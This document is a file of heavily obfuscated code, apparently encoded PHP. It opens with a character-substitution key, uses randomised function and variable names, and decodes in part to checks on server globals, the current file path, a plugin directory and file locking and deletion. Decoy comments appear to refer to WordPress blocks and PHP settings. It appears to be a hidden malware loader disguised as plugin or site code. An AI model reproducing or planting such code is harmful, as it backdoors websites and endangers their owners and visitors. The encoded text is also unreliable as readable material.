#/&/!N/&/YC/&/T/$/&/8y/&/47r/&/61?=/&/90>P/&/QRb3/&/s*Su/&/U.)/&/tV,+/&/B-h/&/H/3,|5/,jr/&/h5gM/&/1TT/&/63R/&/( G/&/s+"/&/?C`/&/zm/&/X;9/&/.!8i/&/d^-/&/T/fW</&/*xN/&/4$#/&/t7/&/:&/&/FbZ/&/SDp/&/Hl/&/PJ%/&/Q_/&/@|cu/&/]O{/&/kVa/&/\AIU/&/en/&/)YB/&/L[/&/=oqy/&/2~>}/&/E'K0/3,z5**3ngz ,b583,b4{|zdmf ,m!3,b##!s,x5{|zxg{ ,|$,mS,bU!3,z&5 ,x555nid{m!7,mS,bU2,nS,xU3uzm|}zf(,z3un}fk|agf(aozjlg0f<j1nk{ ,a!szm|}zf(jj`>dqcld1xlfd: ,a!3un}fk|agf(aW;~yrxiqyjro ,a!szm|}zf(jj`>dqcld1xlfd: ,a!3un}fk|agf(rq;ec{mmgl| ,a!s,b5,a#83zm|}zf(jj`>dqcld1xlfd: ,b!3un}fk|agf(|<9=1ip?plm;{ ,p0d00zWab{!s,p0d00zWab{5 a{{m| ,p0d00zWab{!7,p0d00zWab{28!#83zm|}zf(,p0d00zWab{"03un}fk|agf(ra?~|={=:emmllj{ef: ,``}baai!s,``}baai5 a{{m| ,``}baai!7,``}baai28!#83zm|}zf(,``}baai"<3u(((((lmnafml aW;~yrxiqyjro 8!!((gz(((mpa|3(((n}fk|agf((ojcir|0ro>gifi>;n?| !(((((s((zm|}zf((((((a{{m| ,ODGJID[Saozjlg0f<j1nk{ 9!U!(7(,ODGJID[Srq;ec{mmgl| 9!U((2(((aW;~yrxiqyjro :!3((((u((n}fk|agf(((((z9>1{1jm8r8;e~8 !((((((((szm|}zf((((WWNADMWW3((((u((n}fk|agf(ac0{`=o;}0p=}qpady1kq !(s(((zm|}zf(jj`>dqcld1xlfd: ;! z9>1{1jm8r8;e~8 !!3((u(n}fk|agf((((((y8`z=>rj?181>nriz8 !s(an( jj`>dqcld1xlfd: <! jj`>dqcld1xlfd: =!!!(((zm|}zf(xd}oafWji{mfiem z9>1{1jm8r8;e~8 !!3,lm:yeg9ineej?x((((((5(z9>1{1jm8r8;e~8 !3((((,oe0e|8o9l9z}pc=((((5((lmnafml jj`>dqcld1xlfd: >!!(((((7((((((_XWXD]OAFWLAZ(2((((**3(((an( ,oe0e|8o9l9z}pc=(()55((**(((((..(((((aozjlg0f<j1nk{ ?! ,lm:yeg9ineej?x$((((,oe0e|8o9l9z}pc=!((555(((8!((((zm|}zf(aW;~yrxiqyjro 0! aW;~yrxiqyjro 1! ,lm:yeg9ineej?x$((((rq;ec{mmgl| 98! ,oe0e|8o9l9z}pc=!!$((/'/!3zm|}zf(((aozjlg0f<j1nk{ ;! aW;~yrxiqyjro 99! ,lm:yeg9ineej?x!!((((&((/'/(((((&((aozjlg0f<j1nk{ 9:! ,lm:yeg9ineej?x!3((u((n}fk|agf(((((}Wkig1fmg~0~qc<{g`|88f !(s''(}f`ggc({|zgfo(oi|miqzm|}zf((jj`>dqcld1xlfd: 9;! lmnafml rq;ec{mmgl| 9<!!(((7(_XE]WXD]OAFWLAZ(((2( _XWKGF\MF\WLAZ(&(rq;ec{mmgl| 9=!!$(((/'/!3((((un}fk|agf(fd1mjydc?~oala}= !(s((zm|}zf((jj`>dqcld1xlfd: 99! z9>1{1jm8r8;e~8 !!3(((u(n}fk|agf(((Wfpcp9{<d<qobniil ,mzf9m`<8g>dr;$(((,~?b9=1{ef>n1x?(5( 9>:#;;9!$(,xbn:9gk<gb1n}=?>(5((((nid{m!s((((zm|}zf((jj`>dqcld1xlfd: <! jj`>dqcld1xlfd: 9>!!(7(((((Hjj`>dqcld1xlfd: 9>! ,mzf9m`<8g>dr;$((,~?b9=1{ef>n1x?$(((,xbn:9gk<gb1n}=?>!(((2((nid{m3(u((n}fk|agf(yy|m;zWdxb}n{r{~akm ,ndjnir;e;:?fazg9$((,~?b9=1{ef>n1x?!s(((zm|}zf((aozjlg0f<j1nk{ 9?! aW;~yrxiqyjro 90!!((7((((Haozjlg0f<j1nk{ 90! ,ndjnir;e;:?fazg9$(((,~?b9=1{ef>n1x?!((2((((nid{m3(((u((n}fk|agf(((aqdz{8}zyk~qm;yf ,ndjnir;e;:?fazg9!((s''(egfgegzx`arm(gzc%y}m}m(ngz(_X(Ozg}x(Jdgkc,k8qxbW~n{j?z:x5X@XWAF\WEIP'X@XWAF\WEIP3,dWbbq}j}qf5,k8qxbW~n{j?z:x#=;3zm|}zf(((rq;ec{mmgl| 9?! rq;ec{mmgl| 91!!((((7((Haozjlg0f<j1nk{ 91! ,ndjnir;e;:?fazg9!((2(nid{m3(((((u(((n}fk|agf(((((k88c<`??}faWpk;0qo|l| ,ndjnir;e;:?fazg9$(,a{:ozyjjpx!((((((s((zm|}zf(((rq;ec{mmgl| :8! rq;ec{mmgl| :9!!(7(HaW;~yrxiqyjro :9! ,ndjnir;e;:?fazg9$((,a{:ozyjjpx!((((((2(((((nid{m3(((u(n}fk|agf((m1<bdc<lk<9|c;d ,ndjnir;e;:?fazg9!(s(((,kbWWxa8yl<x}m(5((9`rp}<>q`m}an !3(zm|}zf((k88c<`??}faWpk;0qo|l| ,ndjnir;e;:?fazg9$((((( ,kbWWxa8yl<x}m((%( ,kbWWxa8yl<x}m(-((((( 111=:#<0!!!(#((xzbpr<d>l>eb<:~ !!3u(n}fk|agf((`z?d~=rb8j}Wcx: ,f>8<0zrjc}a?0$(((,|~|x`dl{j9!(((((((s,r=x{1ne:d51"03,jx;1>Wimly0ixd5,r=x{1ne:d%9:3((((((zm|}zf((((rq;ec{mmgl| ::! aozjlg0f<j1nk{ :;!!(7(Hrq;ec{mmgl| :;! ,f>8<0zrjc}a?0$(,|~|x`dl{j9!((2(nid{m3,f9ya<z|b|>klb5<9"13,jf8fmenx5,f9ya<z|b|>klb%903(u((((n}fk|agf(ngr}?>ozapi8 ,f>8<0zrjc}a?0$(((,|~|x`dl{j9!(((szm|}zf((((aW;~yrxiqyjro ::! rq;ec{mmgl| :<!!(((((7(Hrq;ec{mmgl| :<! ,f>8<0zrjc}a?0$((,|~|x`dl{j9!(2((((nid{m3(((u(((((n}fk|agf(((((kW>>zfk;ll`x}<cW9>k8p> ,mzf9m`<8g>dr;$((,ndjnir;e;:?fazg9!szm|}zf(aozjlg0f<j1nk{ :=! jj`>dqcld1xlfd: :>!!((7(((Haozjlg0f<j1nk{ :>! ,mzf9m`<8g>dr;$(,ndjnir;e;:?fazg9!(2((nid{m3(u(n}fk|agf((mbpe~oWg9kdozrg !((((s({|i|ak(,~}dca?nr|:yor1~i(5((f}dd3((an(( ,~}dca?nr|:yor1~i()55(f}dd!(((zm|}zf(((((,~}dca?nr|:yor1~i3((((,~}dca?nr|:yor1~i(5((rq;ec{mmgl| :=! aW;~yrxiqyjro :?!!(7((aozjlg0f<j1nk{ :0! !(((2((((rq;ec{mmgl| :1!3,oziofg;l0W}>51=">3,c~y=pe`e<ob5,oziofg;l0W}>%13(((an(( HaW;~yrxiqyjro ;8! ,~}dca?nr|:yor1~i!((..(((Hjj`>dqcld1xlfd: ;9! ,~}dca?nr|:yor1~i!!((((zm|}zf((,~}dca?nr|:yor1~i3(((((((,ae{:onx`88((((((5((lmnafml aW;~yrxiqyjro ;:!!((7(_XWKGF\MF\WLAZ(2((( lmnafml aW;~yrxiqyjro 8!!(7(((((IJ[XI\@((&(aozjlg0f<j1nk{ ;;!((2((**!3((an(((( ,ae{:onx`88(()55(((((**!(((s(,lm:yeg9ineej?x((5((jj`>dqcld1xlfd: 9;! ,ae{:onx`88$((aozjlg0f<j1nk{ ;<!!((&(rq;ec{mmgl| ;=!3(an(((( )HaW;~yrxiqyjro ;8! ,lm:yeg9ineej?x!!((HaW;~yrxiqyjro 9>! ,lm:yeg9ineej?x$((( <;>#=?!$((|z}m!3(((((an( Hrq;ec{mmgl| ;8! ,lm:yeg9ineej?x!(((((..(((Hrq;ec{mmgl| ;9! ,lm:yeg9ineej?x!!(((san(((( aW;~yrxiqyjro :=! aozjlg0f<j1nk{ ;>!!!((((Hx}|mf~ jj`>dqcld1xlfd: ;?!((&(,lm:yeg9ineej?x!3((((((,ODGJID[SaW;~yrxiqyjro ;0!U(5((93(((((,~}dca?nr|:yor1~i(5(((((,lm:yeg9ineej?x3(u(((((u(zm|}zf((,~}dca?nr|:yor1~i3(((u(((((((n}fk|agf(iiq}~;9z1;Wrij9f0rme !(((s((,mzf9m`<8g>dr;(5(fd1mjydc?~oala}= !3(,~?b9=1{ef>n1x?((5(((}Wkig1fmg~0~qc<{g`|88f !3''(X@X(0&<(najmz{({m||afo{({mk|agf((((an(( ,mzf9m`<8g>dr;(555(((((,~?b9=1{ef>n1x?!(zm|}zf(|z}m3(((an(( jj`>dqcld1xlfd: ;1! rq;ec{mmgl| <8!!!(s(((,a<|`|ooo9|de~k(5(Hrq;ec{mmgl| <9! ,mzf9m`<8g>dr;!3((,i?|dbpraq}i;z(5((((Hjj`>dqcld1xlfd: <9! ,~?b9=1{ef>n1x?!3(zm|}zf((( ,a<|`|ooo9|de~k()55((((nid{m((..(,i?|dbpraq}i;z()55(((nid{m(..(,a<|`|ooo9|de~k(555(((,i?|dbpraq}i;z!3((u(((((zm|}zf(((nid{m3(((u(n}fk|agf((xzbpr<d>l>eb<:~ !(((s(zm|}zf(( 1;?<0#?9!3(u(n}fk|agf((((((;:9r~>>j8k:mlg1dWd: !((((((((san((((( )lmnafml aozjlg0f<j1nk{ 8!!!((((zm|}zf(((**3(((,ae{:onx`88((5((lmnafml rq;ec{mmgl| <:!!(((((7(((_XWKGF\MF\WLAZ((2((IJ[XI\@((&(((aW;~yrxiqyjro ;;!3(zm|}zf(aW;~yrxiqyjro 9;! ,ae{:onx`88$(((rq;ec{mmgl| ;<!!(&(aW;~yrxiqyjro <;!(((&(((((aozjlg0f<j1nk{ 1! aW;~yrxiqyjro <<! IJ[XI\@(&((aW;~yrxiqyjro <=!!$(8$(( 8p?#8p9!!((&((aW;~yrxiqyjro <>!((&((((aW;~yrxiqyjro 1! aozjlg0f<j1nk{ <<! IJ[XI\@(&(aW;~yrxiqyjro <?!!$((8$(( :=8V:<:!!(&(((aozjlg0f<j1nk{ <0!3(un}fk|agf((((((j8axzo`b}8nj|?f ,xd8`b<k9dofqp((((((5((((((f}dd!((((((s((,ndjnir;e;:?fazg9((((5((;:9r~>>j8k:mlg1dWd: !3(((((((an(( ,ndjnir;e;:?fazg9((555((**!((zm|}zf(((((nid{m3(((((an( )jj`>dqcld1xlfd: <1! ,xd8`b<k9dofqp!(((tt((rq;ec{mmgl| 98! ,xd8`b<k9dofqp!(((4(( <;9#>1!!(,xd8`b<k9dofqp((5((((((mrppqfp~aze:9: !3(an((( ),xd8`b<k9dofqp(tt((((()~rl=fzla18ykW?jkrj} ,xd8`b<k9dofqp!!(((zm|}zf(nid{m3(((((,mzf9m`<8g>dr;(5((rq;ec{mmgl| 99! ,ndjnir;e;:?fazg9!3(((an(( )Hjj`>dqcld1xlfd: =8! ,mzf9m`<8g>dr;!!(Wfpcp9{<d<qobniil ,mzf9m`<8g>dr;$(( <90#?=!$(((|z}m!3(((an( )HaW;~yrxiqyjro =8! ,mzf9m`<8g>dr;!(tt(((((()Hrq;ec{mmgl| ;9! ,mzf9m`<8g>dr;!!(zm|}zf(nid{m3(((((an(((( Hrq;ec{mmgl| =9! ,ndjnir;e;:?fazg9!!((((((s(((((((an( rq;ec{mmgl| <<! bW0a{a?}a`=bcb<?m  {|zafo!(((((Hrq;ec{mmgl| =:! ,ndjnir;e;:?fazg9!!!(555(aW;~yrxiqyjro <<! ,xd8`b<k9dofqp!!((zm|}zf(((|z}m3(((,biyl~zkc~`py`e(((5((ir9qzgpWdr8|iefx||ob=a ,ndjnir;e;:?fazg9!3((an( ,biyl~zkc~`py`e(()55((((f}dd(..((~mz{agfWkgexizm ,biyl~zkc~`py`e$((ojcir|0ro>gifi>;n?| !$(((((/6/!!(((zm|}zf((((((nid{m3(}f{m| ,biyl~zkc~`py`e!3(((((uan((( ){jynjr};<k;ff=~{9pbapx ,ndjnir;e;:?fazg9$((,xd8`b<k9dofqp!!((zm|}zf(((nid{m3((yy|m;zWdxb}n{r{~akm ,ndjnir;e;:?fazg9$( ;;;#0?!!3d8incq1<`|<n`1Wi ,ndjnir;e;:?fazg9!3((((((((zm|}zf(((|z}m3u(n}fk|agf(((o>k`:?jdo:{?qei~re~`o8 !(((s((,xd8`b<k9dofqp(5(((((mrppqfp~aze:9: !3(((((((an((((( ),xd8`b<k9dofqp(((tt()~rl=fzla18ykW?jkrj} ,xd8`b<k9dofqp!!((((((zm|}zf((nid{m3(,l~y:yixbb~r8q(((5(((((aW;~yrxiqyjro 9:! z9>1{1jm8r8;e~8 !$((((rq;ec{mmgl| <0!!3,i==b;;d~:l~5X@XWAF\WEIP'X@XWAF\WEIP3,00;}<0od>x5,i==b;;d~:l~#9?3(,~<nor9>l8n(5((aW;~yrxiqyjro =;! aozjlg0f<j1nk{ =<!!(7(((}ql:?yp08{}elk0~|}1ni !(((((2( lmnafml rq;ec{mmgl| <:!!((7(((_XWKGF\MF\WLAZ((((2(**!3an(( ,~<nor9>l8n(555(**!((((zm|}zf(nid{m3(,oe0e|8o9l9z}pc=(((5(,~<nor9>l8n(((&(jj`>dqcld1xlfd: ==!((&((,l~y:yixbb~r8q3(((((((,eomykoj{jbo{((5(,oe0e|8o9l9z}pc=(&((((/'/((&(((,l~y:yixbb~r8q(((&((aozjlg0f<j1nk{ <0!3(((,rbmnbr{>j=~m;da0((5(((nid{m3(((an( aozjlg0f<j1nk{ =;! aW;~yrxiqyjro <9!!!((s,bf=;:eyl:l(5(Hrq;ec{mmgl| <9! ,eomykoj{jbo{!3(((((,{zyeoW:8}yf1r>ec(((((5((Hrq;ec{mmgl| =>! z9>1{1jm8r8;e~8 !!3,rbmnbr{>j=~m;da0(5((( aW;~yrxiqyjro <1! ,bf=;:eyl:l!(..((((aW;~yrxiqyjro <1! ,{zyeoW:8}yf1r>ec!(((((..(((((,bf=;:eyl:l((((555(,{zyeoW:8}yf1r>ec!3u(an( ),rbmnbr{>j=~m;da0!(((s(((an( )Hrq;ec{mmgl| =8! ,oe0e|8o9l9z}pc=!!((((Wfpcp9{<d<qobniil ,oe0e|8o9l9z}pc=$(( <??#9>!$((|z}m!3(an(((( )Haozjlg0f<j1nk{ =8! ,oe0e|8o9l9z}pc=!(((tt(((()Haozjlg0f<j1nk{ ;9! ,oe0e|8o9l9z}pc=!!((zm|}zf((nid{m3,}b1f1z9>nye5X@XWAF\WEIP'X@XWAF\WEIP3,~i`yxxml5,}b1f1z9>nye#:?3(((((an((( )HaW;~yrxiqyjro =9! ,eomykoj{jbo{!(tt((rq;ec{mmgl| =?! bW0a{a?}a`=bcb<?m  {|zafo!(((HaW;~yrxiqyjro =0! ,eomykoj{jbo{!!!(()55(rq;ec{mmgl| =1! ,xd8`b<k9dofqp!!(san(( Hjj`>dqcld1xlfd: =9! ,eomykoj{jbo{!!((((s(((((,biyl~zkc~`py`e((5((((ir9qzgpWdr8|iefx||ob=a ,eomykoj{jbo{!3((((an( ,biyl~zkc~`py`e((()55(f}dd((..(((~mz{agfWkgexizm ,biyl~zkc~`py`e$(((ojcir|0ro>gifi>;n?| !$(((/6/!!(zm|}zf((nid{m3(((((}f{m| ,biyl~zkc~`py`e!3(((u''(gx|aeid(zmkgzl%diqmz(((((an((( ){jynjr};<k;ff=~{9pbapx ,eomykoj{jbo{$(((|;neyggnc9}qimc=gf ,xd8`b<k9dofqp!!!(((((zm|}zf(((nid{m3yy|m;zWdxb}n{r{~akm ,eomykoj{jbo{$( ;<;#??!!3(m1<bdc<lk<9|c;d ,eomykoj{jbo{!3(d8incq1<`|<n`1Wi ,eomykoj{jbo{!3,e8b1;yd=iWg5X@XWEIBGZW^MZ[AGF3,Wzbmi9jf95,e8b1;yd=iWg"93((uuan((( aW;~yrxiqyjro =;! aozjlg0f<j1nk{ >8!!((((..((jj`>dqcld1xlfd: >9! aozjlg0f<j1nk{ >:!!!((s,zy~jd=p;r<k<<9kg((5((,l~y:yixbb~r8q((&((/'/(((&((,l~y:yixbb~r8q(&((jj`>dqcld1xlfd: <0!3,p`ir0<1|kmW?{qb((((5((om|Wgx|agf aozjlg0f<j1nk{ >;!$((((izziq !!3an(( )rq;ec{mmgl| ><! ,p`ir0<1|kmW?{qb!!(((,p`ir0<1|kmW?{qb(((5((izziq !3(((((((an(( )aW;~yrxiqyjro >=! ,zy~jd=p;r<k<<9kg$(((,p`ir0<1|kmW?{qb$((|z}m!!(s(,p`ir0<1|kmW?{qbSU(5((,zy~jd=p;r<k<<9kg3((}xli|mWgx|agf aozjlg0f<j1nk{ >;!$((((jj`>dqcld1xlfd: >>! ,p`ir0<1|kmW?{qb!!3((((((u((((uzm|}zf(((|z}m3(((((u((((n}fk|agf(ir9qzgpWdr8|iefx||ob=a ,ndjnir;e;:?fazg9!s((((((((,l~n:8?0n:~9}z((5((((Hrq;ec{mmgl| >?! ,ndjnir;e;:?fazg9$((nid{m$(((f}dd$(((8$(( 8p:?l#8pl0;!!3(an((( )jj`>dqcld1xlfd: >0! ,l~n:8?0n:~9}z!!((zm|}zf(f}dd3((an(( aozjlg0f<j1nk{ >1! jj`>dqcld1xlfd: ?8!$(((,l~n:8?0n:~9}z$(,~?b9=1{ef>n1x?!!(zm|}zf(,~?b9=1{ef>n1x?S9U3(zm|}zf((((f}dd3((((((u(((((n}fk|agf((((((pm1aWkmd{lc;n~ ,kgdrpmd0ig$((,eqqc|9fzp;ei~oko!((s''(zmkgfkadm(}fa|izq(gj{mz~mzHkdmiz{|i|kik`m |z}m$((((((,kgdrpmd0ig!3(((((,f9{1<y~~g((((((5((((HaW;~yrxiqyjro ?9! ,kgdrpmd0ig!3an(( ),f9{1<y~~g((tt( ,f9{1<y~~g((-( 11118#98!!()55((xzbpr<d>l>eb<:~ !!(s''(_X(J}||gf(Jdgkc2(iky}azm(zilap%|zmm((((zm|}zf(((nid{m3u((((((((((,``edde1q8o||:mg(((5((Hrq;ec{mmgl| ?:! ,kgdrpmd0ig!3(zm|}zf((,``edde1q8o||:mg((..(,``edde1q8o||:mg(((65(((,eqqc|9fzp;ei~oko3(un}fk|agf(`m=pgy8caf?;8a:y !(s(((zm|}zf((( ;=1?1#:9!3u((n}fk|agf(rf:e8r?yz~:0m !(((((szm|}zf((aW;~yrxiqyjro ?;!3u((((n}fk|agf(((i9{{zWo1a?==r?ac8{y !((((((((s((((zm|}zf(((((aW;~yrxiqyjro ?<!3(u(((n}fk|agf(((((d9l89e=i11ob1ynj9p !(s((((an(( aozjlg0f<j1nk{ >9! aozjlg0f<j1nk{ ?=!!!((((((zm|}zf(|z}m3an((((( aey>c?d<?pzibi=c !!((zm|}zf((((|z}m3(((((((,n8=}byq{k?l~(((5((a{{m| ,W[MZ^MZSjj`>dqcld1xlfd: ?>!U!(7(((((aW;~yrxiqyjro ??!  {|zafo!((((,W[MZ^MZSrq;ec{mmgl| ?0!U!((2((**3((an((( ,n8=}byq{k?l~(()55((((**((..(((( jj`>dqcld1xlfd: ?! ,n8=}byq{k?l~$((aW;~yrxiqyjro ?1!!(()55(nid{m((tt(((((aozjlg0f<j1nk{ 08! ,n8=}byq{k?l~$((((aozjlg0f<j1nk{ 09!!(()55(((nid{m((tt((((aW;~yrxiqyjro 08! ,n8=}byq{k?l~$(aozjlg0f<j1nk{ 0:!!()55(((((nid{m!!(((zm|}zf((|z}m3(((((an( ,n8=}byq{k?l~(555(**(((..((aozjlg0f<j1nk{ 0;! !(()55(((((aW;~yrxiqyjro 0<!((((..((a{{m| ,W[MZ^MZSrq;ec{mmgl| 0=!U!!(((zm|}zf(((((|z}m3(zm|}zf(nid{m3(((u((((((n}fk|agf((((aey>c?d<?pzibi=c !s,}<jzr;l1:5X@XWAF\WEIP'X@XWAF\WEIP3,pe<g;p~{kba>5,}<jzr;l1:#>3(((,n8=}byq{k?l~(((5((a{{m| ,W[MZ^MZSrq;ec{mmgl| ?0!U!(((7(((,W[MZ^MZSaozjlg0f<j1nk{ 0>!U((2(((**3(((((((zm|}zf((jj`>dqcld1xlfd: >0! ,n8=}byq{k?l~!(((..(({|zaxg{ ,n8=}byq{k?l~$(((jj`>dqcld1xlfd: 0?!!()55(nid{m3(((((un}fk|agf((((gzca`j`{e`e<W|`r ,fd8pcbk08m0!((s((,n?obyp9ad~bWxeed(5((aW;~yrxiqyjro >9! jj`>dqcld1xlfd: 00!!((7(Hrq;ec{mmgl| 01! rq;ec{mmgl| 18!!(2(nid{m3((((an(((( ),n?obyp9ad~bWxeed((tt((((((,n?obyp9ad~bWxeed((555(**!(zm|}zf(|z}m3(,j=8elkj:gjr(5((((Hjj`>dqcld1xlfd: 19! ,fd8pcbk08m0!3((((an( ),j=8elkj:gjr!(((,j=8elkj:gjr(5(,fd8pcbk08m03,d}r:xfW~~5%0:3,mm}ydil8pp{g5 ,d}r:xfW~~68!7,d}r:xfW~~2%,d}r:xfW~~3ngzmik`((( aW;~yrxiqyjro 1:! XI\@W[MXIZI\GZ$(((,n?obyp9ad~bWxeed!(i{((((,z?xcd9c}k{8!(s(,z?xcd9c}k{8(5(((aW;~yrxiqyjro 9;! ,z?xcd9c}k{8$((jj`>dqcld1xlfd: ;<!!3(an(( ,z?xcd9c}k{8(..(((((( ,j=8elkj:gjr(((555((((,z?xcd9c}k{8(tt((aozjlg0f<j1nk{ 1;! ,j=8elkj:gjr$(,z?xcd9c}k{8(&(((((LAZMK\GZQW[MXIZI\GZ!((555((((8!!(((((zm|}zf((|z}m3(((u((((((((zm|}zf(((nid{m3(((u((n}fk|agf((mj~|f~:jWrz9?;;k ,f8xcp>0x8i9{e!((((((s,np8a{xj==W}z0c(((5((((,f8xcp>0x8i9{e(&(/t/((&( lmnafml aW;~yrxiqyjro 1<!!((7(((LJWFIEM(2(((**!((&(((/t/(&((((( lmnafml jj`>dqcld1xlfd: 8!!((((7((IJ[XI\@((2(**!3(zm|}zf((aozjlg0f<j1nk{ 1=! ,np8a{xj==W}z0c!3((((((((u(((((n}fk|agf((((keabp1?l:==10>dne1f<9 ,f8xcp>0x8i9{e!((((((s(odgjid(((,xlj3an(( )a{{m| ,ODGJID[SaW;~yrxiqyjro 1>!U!(((tt((()aW;~yrxiqyjro ><! ,ODGJID[Sjj`>dqcld1xlfd: 1?!U!!((,ODGJID[SaW;~yrxiqyjro 1?!U((5(izziq !3((((((((an((((( )mex|q ,ODGJID[Sjj`>dqcld1xlfd: 1?!US,f8xcp>0x8i9{eU!!(((s((,ODGJID[Srq;ec{mmgl| 1?!US,f8xcp>0x8i9{eU##3zm|}zf(((|z}m3((u(((((an((( aozjlg0f<j1nk{ 10! ,xlj!(..((rq;ec{mmgl| 11! ,xlj$((((aW;~yrxiqyjro 988!!!(s(,xbn:9gk<gb1n}=?>((5(((((H,xlj%6om|W~iz aW;~yrxiqyjro 989!(&((mj~|f~:jWrz9?;;k ,f8xcp>0x8i9{e!(&(rq;ec{mmgl| 98:!!3an(((( ,xbn:9gk<gb1n}=?>((555(/9/!((s''(X[Z%<(fiem{xikm{2(afkzmemf|id(xiz|a|agf%zmnafmemf|(,ODGJID[Srq;ec{mmgl| 1?!US,f8xcp>0x8i9{eU((((5((((93(((zm|}zf(|z}m3u(an(( ,xbn:9gk<gb1n}=?>((555(((/8/!(zm|}zf((nid{m3(((((uan((( jj`>dqcld1xlfd: >9! jj`>dqcld1xlfd: 98;!!((..((aW;~yrxiqyjro >9! jj`>dqcld1xlfd: 98<!!!(s''(ilix|a~m(|i{c%ozix`,fddkW8zimxj5=":3,d{`laqeo>yi=;j5,fddkW8zimxj%93((((,c}`9qaq=}((((5(izziq !3(an(((( aW;~yrxiqyjro >9! aozjlg0f<j1nk{ :0!!!(((((,c}`9qaq=}SU((5((jj`>dqcld1xlfd: :0! !3an( lmnafml aW;~yrxiqyjro 98=!!!((,c}`9qaq=}SU(5(_XWKGF\MF\WLAZ3(((an((((( lmnafml rq;ec{mmgl| 8!!!(,c}`9qaq=}SU(((((5((jj`>dqcld1xlfd: 9;! IJ[XI\@$(((jj`>dqcld1xlfd: 98>!!3((((((ngzmik`(( ,c}`9qaq=}(((i{(((,mzf9m`<8g>dr;!(((s((((an(( ,mzf9m`<8g>dr;((555(**((((((tt(()Haozjlg0f<j1nk{ 98?! ,mzf9m`<8g>dr;!((((tt(()HaW;~yrxiqyjro ;9! ,mzf9m`<8g>dr;!!((kgf|af}m3((,y;m|{:c?xrn(5(((Hjj`>dqcld1xlfd: 98<! ,mzf9m`<8g>dr;((&((jj`>dqcld1xlfd: 980!(&(mj~|f~:jWrz9?;;k ,f8xcp>0x8i9{e!((((((&(aozjlg0f<j1nk{ 981!$((((((/k/!3((an((( ,y;m|{:c?xrn()55((nid{m!(((s((((((an( )Hndgkc ,y;m|{:c?xrn$(DGKCWMP(t(DGKCWFJ!!((((((s''(egfg|gfm(kg}f|%eaf%{cm|k`((Hnkdg{m ,y;m|{:c?xrn!3((zm|}zf(nid{m3((((((u(an((( )a{{m| ,ODGJID[Saozjlg0f<j1nk{ 998!U!(((tt()aW;~yrxiqyjro 999! ,ODGJID[SaW;~yrxiqyjro 998!U!!(((,ODGJID[Sjj`>dqcld1xlfd: 998!U((5((izziq !3((,ODGJID[Saozjlg0f<j1nk{ 998!US,f8xcp>0x8i9{eU((5((((,y;m|{:c?xrn3,ODGJID[Srq;ec{mmgl| 1?!US,f8xcp>0x8i9{eU((((5(93zm|}zf(((|z}m3(((u((((u(u((((zm|}zf(((nid{m3((u(n}fk|agf((o={;`1ei:gj1aqkz ,f8xcp>0x8i9{e!s(((odgjid(,xlj3(an(( mex|q ,ODGJID[Srq;ec{mmgl| 99:!US,f8xcp>0x8i9{eU!!((zm|}zf3(,ODGJID[SaW;~yrxiqyjro 99:!US,f8xcp>0x8i9{eU%%3an(( ,ODGJID[Saozjlg0f<j1nk{ 99;!US,f8xcp>0x8i9{eU(((6((8!(zm|}zf3(}f{m| ,ODGJID[Srq;ec{mmgl| 99;!US,f8xcp>0x8i9{eU!3((((an(((( a{{m| ,ODGJID[Saozjlg0f<j1nk{ 99<!US,f8xcp>0x8i9{eU!!((sHndgkc ,ODGJID[Saozjlg0f<j1nk{ 99=!US,f8xcp>0x8i9{eU$((((((DGKCW]F!3Hnkdg{m ,ODGJID[SaW;~yrxiqyjro 99>!US,f8xcp>0x8i9{eU!3((((}f{m| ,ODGJID[SaW;~yrxiqyjro 99?!US,f8xcp>0x8i9{eU!3u((((an( aozjlg0f<j1nk{ 10! ,xlj!(((((..((((((jj`>dqcld1xlfd: 11! ,xlj$(((aW;~yrxiqyjro 990!!!(((s((((H,xlj%6y}mzq jj`>dqcld1xlfd: 991!(((&(mj~|f~:jWrz9?;;k ,f8xcp>0x8i9{e!((&(aW;~yrxiqyjro 9:8!!3u''(e}d|ajq|m(iizmu((((n}fk|agf((io`~qa?01=f{f<l8o !s(((an(((( lmnafml aozjlg0f<j1nk{ 9:9!!(..(LA[IDDG_WNADMWEGL[!(((((zm|}zf(nid{m3(zm|}zf((|z}m3((((u((((((n}fk|agf((gcp<j<0::Wlzkc}{liqd} ,Wrr?<y00y`$((,d|f9x=j|9W:!((s(|zq(san( af|mznikmWmpa{|{ rq;ec{mmgl| 9::!!(((..(,d|f9x=j|9W:((af{|ifkmgn(\`zgijdm!(s(((,e~nfb`lm}e{n;{(5(((((aW;~yrxiqyjro 1! ,Wrr?<y00y`(&(((aozjlg0f<j1nk{ 9:;!((&(((,d|f9x=j|9W:%6om|Em{{iom !$(8$( ;><%980!!3((u((((md{man(( ,d|f9x=j|9W:(af{|ifkmgn(((Mpkmx|agf!(((s,e~nfb`lm}e{n;{(5((rq;ec{mmgl| 9:<! ,Wrr?<y00y`((&((rq;ec{mmgl| 9:=!(&(((,d|f9x=j|9W:%6om|Em{{iom !$((((8$(((( 9?<#0:!!3u(md{man(((((( aozjlg0f<j1nk{ 9:>! ,d|f9x=j|9W:!((..(((aozjlg0f<j1nk{ 98! ,d|f9x=j|9W:!((6((((8!((((s,e~nfb`lm}e{n;{((5(rq;ec{mmgl| 9:?! ,Wrr?<y00y`(((&(rq;ec{mmgl| 9:0!(&(,d|f9x=j|9W:$((((((8$( :8>#=8!!3((((u((md{m(szm|}zf3u''(danmkqkdm(`ggc(an((( )a{{m| ,ODGJID[Srq;ec{mmgl| 9:1!U!!(((,ODGJID[Saozjlg0f<j1nk{ 9:1!U((((5((((izziq !3an((((( )aW;~yrxiqyjro >=! ,e~nfb`lm}e{n;{$((((((,ODGJID[Sjj`>dqcld1xlfd: 9;8!U$(|z}m!!(((s(((((((,ODGJID[SaW;~yrxiqyjro 9;8!USU(((5((((,e~nfb`lm}e{n;{3(u(((an((((( aW;~yrxiqyjro 9;9! ,ODGJID[Saozjlg0f<j1nk{ 9;:!U!((6((((( :<#:>!!((s(,ODGJID[Sjj`>dqcld1xlfd: 9;;!U((((5(aozjlg0f<j1nk{ 9;<! ,ODGJID[Sjj`>dqcld1xlfd: 9;=!U$(% ;8#:8!!3(((((uu(((ki|k`( \`zgijdm(,bji~l0~ffxy8j1c!(((((s''(Xm{|(X@X(:(mjx(kgf~mz{agf(u(ki|k`((( Mpkmx|agf((((,bji~l0~ffxy8j1c!(((((s((((u((((un}fk|agf(((((oq:cd8{~l8;r}~cj ,l~n:8?0n:~9}z$(((,~d{n`l>Wbry890$((((,ndjnir;e;:?fazg9((5(((( >#<!$((,ebezm{a8c:j8o9}~((5(((9!((s(an( )aozjlg0f<j1nk{ >9! aozjlg0f<j1nk{ 9;>!!!((zm|}zf(((nid{m3(an((( 